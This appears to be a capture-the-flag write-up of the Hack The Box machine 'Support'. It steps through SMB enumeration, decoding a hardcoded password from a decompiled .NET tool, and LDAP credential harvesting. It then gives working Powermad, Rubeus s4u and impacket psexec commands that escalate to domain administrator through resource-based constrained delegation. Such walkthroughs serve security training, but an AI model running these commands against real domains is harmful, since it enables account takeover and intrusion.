Support: Write-Up

17.12.2022

Intro

Dubbed as "easy", I certainly had a lot of fun with the privilege escalation of this box. Paired with some reverse engineering and focus on enumeration throughout the foothold of the box, I have the feeling that this box will make it's way into the NetSecFocus Trophy Room.

Foothold

NMAP

An initial nmap scan shows the following:

PORT     STATE SERVICE
88/tcp   open  kerberos-sec
389/tcp  open  ldap
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

This already tells us a lot about this machine: It's obviously a domain controller, and there's no super obvious webserver to enumerate. I started off with SMB right away, hoping to find some goodies.

SMB

smbmap behaves in a weird way, and once again I fell for it, thinking "aight, nothing here". Later I remembered that there was in fact some inconsistencies, that require an actual "wrong" username in order to login as a guest user. Providing an empty user & password as well as neither won't work here.

smbmap -H support.htb -u "anonymous" -p "" -> There's the usual, plus one very interesting share: support-tools

Logging into this share it is fairly obvious that it is a collection of compiled tools which staff can grab and user. Every tool, except one, was already known to the public, which makes them less interesting in a CTF-environment. The sole tool that doesn't seem to return any related results was UserInfo.exe.zip.

Decompiling

I resorted to ilspy ILSpy, which is a decompiler specifically for .NET environments.

Inside the executable we can find two definitions that are interesting to us:

Getting this in python is a 5s thing (thank you openai):

for i in range(len(array)):
    array2 += chr(array[i] ^ key[i % len(key)] ^ 223)

And we got a password!

Taking a closer look at the rest of the logic also reveals the username support\\ldap that was being used:

Enumerating LDAP

This step takes some minor enumeration. I didn't necessarily grep and cut like the utmost bash-ninja, instead just read through all of the entries. By the time I queried CN=Users I already had the final password but laid out the steps to find it, just in case. With the newly discovered credentials, our query becomes:

ldapsearch -v -x -b "DC=support,DC=htb" -H "ldap://support.htb" -D "support\\ldap" -w '<password>'

ldapsearch -v -x -b "CN=Users,DC=support,DC=htb" -H "ldap://support.htb" -D "support\\ldap" -w '<password>'

ldapsearch -v -x -b "CN=Support,CN=Users,DC=support,DC=htb" -H "ldap://support.htb" -D "support\\ldap" -w '<password>'

ldapsearch -v -x -b "CN=Support,CN=Users,DC=support,DC=htb" -H "ldap://support.htb" -D "support\\ldap" -w '<password>' | sed -n 's/^[ \t]*info:[ \t]*\(.*\)/\1/p'

Gaining Access

We should now validate those credentials using crackmapexec

crackmapexec ldap support.htb -u support -p <password>
crackmapexec winrm support.htb -u support -p <password>

Privilege Escalation

So we have a shell, but what now? I started off running the usual winPEAS in the background and focusing on getting BloodHound up, since this is a "easy" rated domain controller. Knowing HTB this was where to look.

BloodHound

We are a part of the SHARED SUPPORT ACCOUNTS group, which has the GenericAll privilege on the domain controller. According to BloodHound, this is a privilege escalation vector that may be abused.

Resource-Based Constraint Delegation

Resource-Based Constraint Delegation is a feature in Active Directory that allows administrators to specify which users or groups are allowed to delegate their permissions to other users or groups. This can be useful in situations where a user needs to perform a task that requires permissions that they do not have, but a user with the necessary permissions trusts them to perform the task on their behalf. For example, an administrator may allow a group of IT technicians to delegate their permissions to reset user passwords, as long as the request is made by a member of the HR department.

S4UProxy

S4UProxy is a feature in Active Directory that allows a user to obtain a service ticket for a different user without knowing their password. This feature is typically used in situations where a service account needs to access a resource on behalf of a user, but the service account is not trusted to know the user's password. S4USelf works in a very similar way, allowing a user to obtain a ticket for itself. In a S4UProxy attack, an attacker exploits this feature to obtain a service ticket for a high-privileged account, such as an administrator account, without knowing the password for the account. The attacker can then use the service ticket to access resources and perform actions that are normally restricted to the high-privileged account.

Chaining it together

First, we leverage powermad to create a new machine account using our GenericAll privileges on the domain.

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Now we set the PrincipalsAllowedToDelegateToAccount to allow for SERVICEA to impersonate any user against our target DC

Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount SERVICEA$
Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount

Next, we use Rubeus to get a hash of our password. In a second step, we perform a the actual S4U attack, which can be done with Rubeus as well. Please note that this step abuses intended functionality, and requires the above mentioned misconfigurations to be present. In this case we have GenericAll or any other write privileges on the target machine, which allowed us to misconfigure the rest ourselves.

.\Rubeus.exe hash /password:123456 /user:SERVICEA$ /domain:support.htb

.\rubeus.exe s4u /user:SERVICEA$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /domain:support.htb  /ptt

This is the basic attack, but more work is needed to login, as the ticket is injected into memory by Rubeus and usually intended to use immediately within a multi-machine environment. Grab the ticket and format it, then convert it to a usable ticket for impacket.

echo <ticket> | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

Now we can use impacket psexec to login:

psexec.py -k -no-pass support.htb/[email protected] -dc-ip 10.10.11.174 -target-ip 10.10.11.174

Closing Thoughts